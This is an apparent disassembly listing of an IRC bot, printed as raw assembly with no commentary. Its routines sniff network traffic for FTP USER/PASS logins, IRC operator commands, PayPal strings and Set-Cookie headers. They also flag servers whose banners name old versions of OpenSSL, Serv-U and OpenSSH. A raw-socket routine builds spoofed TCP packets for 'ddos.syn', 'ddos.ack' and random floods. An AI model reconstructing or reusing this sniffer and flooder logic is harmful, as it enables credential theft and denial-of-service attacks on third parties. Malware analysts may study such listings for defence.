		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CBA38
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBAA8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBAA4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4378C0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBABC
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB9D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437890
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBABC
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CBA3C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43785C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437828
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377F4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4377BC


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437784
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 6DE80000h, 900227D8h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 78EC68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 2CC96FE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB994
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBAC8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CBA04
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CBA24
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CBA24
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CBA24
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CBA24
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CBA20
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CBA24
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B03E8h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B0175h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CBA24
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CBA24
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CBA20
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CBA24
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27B0175h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437914
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBABC
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB97C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBAA415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 1468FFFFh, 5000437Ah,	87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CBA0415h, 0FFF88300h, 15FF5D75h
		dd 4CB9B8h, 44858D50h, 68FFFFFCh, 4379E4h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C4C6E857h, 8D90022Ch, 0FFFE4885h, 15FF50FFh, 4CBA64h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 4379C4h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2CC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0BA2415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E79005C6h
		dd 0FF45004Ch, 4CBA2415h, 0D47D3900h, 0E792A366h, 8966004Ch
		dd 4CE7941Dh, 3D896600h, 4CE796h, 0E79805C6h, 8880004Ch
		dd 4CE7991Dh, 3D896600h, 4CE79Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 9C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA6415h
		dd 0E79CA300h, 458B004Ch, 0E7A0A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE7A415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE7A5h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7A63Dh, 1D896600h, 4CE7AAh, 15896642h
		dd 4CE7A8h, 85E9E8h, 0FFB99900h, 0F7000000h, 0AC6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE790h, 0FFFC75FFh, 4CBA8815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004CBAh
